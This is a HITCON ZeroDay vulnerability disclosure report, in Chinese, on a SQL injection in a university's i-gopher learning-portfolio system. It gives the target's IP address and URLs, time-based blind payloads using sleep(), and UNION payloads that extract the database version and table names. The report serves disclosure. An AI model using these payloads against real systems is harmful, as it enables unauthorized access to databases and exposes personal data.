Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2019-01136
- Vendor: 中原大學
- Title: 中原大學i-gopher學習歷程診斷系統 sql 注入
- Introduction: SQL Injection
處理狀態
目前狀態
公開
Last Update : 2019/11/25
-
新提交
-
已審核
-
已通報
-
已修補
-
未複測
-
公開
處理歷程
- 2019/09/25 17:06:18 : 新提交 (由 鄉民 更新此狀態)
- 2019/09/25 18:03:46 : 新提交 (由 鄉民 更新此狀態)
- 2019/09/25 18:06:02 : 新提交 (由 鄉民 更新此狀態)
- 2019/09/25 19:10:29 : 新提交 (由 鄉民 更新此狀態)
- 2019/09/25 19:17:05 : 新提交 (由 鄉民 更新此狀態)
- 2019/09/25 21:23:02 : 新提交 (由 鄉民 更新此狀態)
- 2019/09/25 21:24:34 : 新提交 (由 鄉民 更新此狀態)
- 2019/09/25 21:25:04 : 新提交 (由 鄉民 更新此狀態)
- 2019/09/25 21:33:00 : 新提交 (由 鄉民 更新此狀態)
- 2019/09/25 22:53:57 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2019/09/25 23:57:29 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2019/09/25 23:57:29 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2019/09/25 23:57:29 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2019/10/09 13:52:57 : 複測申請中 (由 組織帳號 更新此狀態)
- 2019/10/09 14:01:23 : 未修補完成 (由 鄉民 更新此狀態)
- 2019/11/25 03:00:04 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
- ZDID:ZD-2019-01136
- 通報者:鄉民
- 風險:高
- 類型:資料庫注入攻擊 (SQL Injection)
參考資料
攻擊者可利用該漏洞取得後端資料庫權限及完整資料(包含大量使用者個資或敏感性資料),同時也有機會對資料進行破壞或修改。
漏洞說明: OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection
漏洞說明: OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection
漏洞說明: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html
防護方式: OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
漏洞說明: OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection
漏洞說明: OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection
漏洞說明: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html
防護方式: OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)
相關網址
http://140.135.66.41:8080/igopher/teaching.html
http://140.135.66.41:8081/igopher/query_teacher.php
http://140.135.66.41:8081/igopher/query_teacher.php
敘述
測試SQL Injection
使用Time-Based Blind SQL Injection進行注入。
' and sleep(0.0001));#
輸入惡意字元之後按下下一步或送出
提高sleep()的時間可以明顯感受到頁面延遲出現
' and sleep(0.001));#
' and sleep(0.01));#
' and sleep(0.1));#
' and sleep(1));#
漏洞危害
攻擊者可以構造union惡意SQL語法,使資料外洩。
取得版本
') union select '','','',version(),'','','','','','','','','',''; #
取得資料表名稱
') union select '','','',TABLE_NAME,'','','','','','','','','','' FROM INFORMATION_SCHEMA.COLUMNS; #
擷圖
留言討論
登入後留言
聯絡組織
發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。